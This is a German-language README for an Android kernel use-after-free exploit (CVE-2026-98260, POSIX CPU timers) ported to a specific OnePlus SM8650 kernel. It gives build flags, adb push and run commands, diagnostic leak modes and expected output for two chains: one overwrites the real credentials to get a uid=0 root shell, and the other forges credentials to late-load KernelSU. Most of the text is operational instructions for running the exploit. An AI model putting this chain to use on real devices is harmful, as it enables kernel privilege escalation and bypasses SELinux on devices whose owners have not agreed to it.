
Android-Kernel-POSIX-CPU-Timer-Use-after-Free-Exploit für CVE-2026-98260, das auf SM8650-Geräten eine uid=0-Shell oder ein KernelSU-Late-Load über gefälschte Anmeldeinformationen erreicht.
CVE-2026-98260 POSIX CPU-Timer-UAF-Portierung für 6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k (OnePlus PKX110, SM8650/sun)
Zwei Ketten:
timer: echte cred null write → uid=0, u:r:shell:s0 (shell-Domain root, bset caps)timer fake: fake cred (full caps) → installierte KernelSU libksud.so late-load| Pfad | Ergebnis |
|---|---|
real cred null write + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
fake cred + ksud late-load | installierte libksud.so (uapi 6), KSU_LOADED, su ist u:r:ksu:s0 |
u:r:shell:s0), kann tracefs und /proc/slabinfo lesenme.weishu.kernelsu), verwendet fake automatisch dessen lib/arm64/libksud.soNDK 28.2 (aarch64, API 35):
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# Diagnose
adb shell /data/local/tmp/timer ids # tracefs page event id ermitteln
adb shell /data/local/tmp/timer leak # nur base/cred/task leaken, UAF nicht auslösen
# uid-0 shell (echte cred)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # interaktive sh
# KernelSU (fake cred + installiertes ksud) —— im Vordergrund ausführen, Logs werden in Echtzeit angezeigt
adb shell /data/local/tmp/timer fake
# Nachdem "[!] fake cred page held; reboot to clean" angezeigt wurde, kann das Terminal direkt geschlossen werden
# (beim Parken wurden SIGHUP/SIGINT/SIGTERM bereits ignoriert, der Prozess hält die fake-cred-Seite weiterhin, wird nicht durch Ctrl-C/Trennung versehentlich beendet)
# Falls Logs auf dem Gerät aufbewahrt werden sollen (gleichzeitig in Echtzeit anzeigen):
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'
Erfolgsanzeichen von fake:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake wird auch der Elternprozess geparkt und hält die fake-cred-Seite über einen Sockettimeout/kill auf geparkte Prozesse anwenden, sonst kann init beim Recyceln des stale node einen Panic verursachenpark_forever() ignoriert SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE, daher kann bei Ausführung im Vordergrund sicher mit Ctrl-C oder durch Schließen des adb-Terminals abgekoppelt werden; echtes Beenden ist nur per SIGKILL (oder Neustart) möglichtimer/timer.c Exploit
timer/timer statisches Artefakt
tools/*.c Portierungs-Diagnosequellcode
Schlüsselkonstanten sind in timer/timer.c fest verdrahtet: do_timer_create/copy_process-Stellen, selinux_state, panic_on_warn, Größe des copy_process-Task-Caches, init_*-Symbole
Beim Kernelwechsel mit boot.img/BTF/kallsyms des Geräts neu ableiten; die Dateien unter tools/ dienen zur Überprüfung von call site, raw record, timer-Leak und 8 KiB AF_UNIX-Recycling-Kanal
woshigenm/CVE-2026-98260 (MIT): Trigger, Zero-Write auf real-cred, fake-cred/KSU-Ansatzghostlock-app: letzte Phase des KernelSU-Late-Load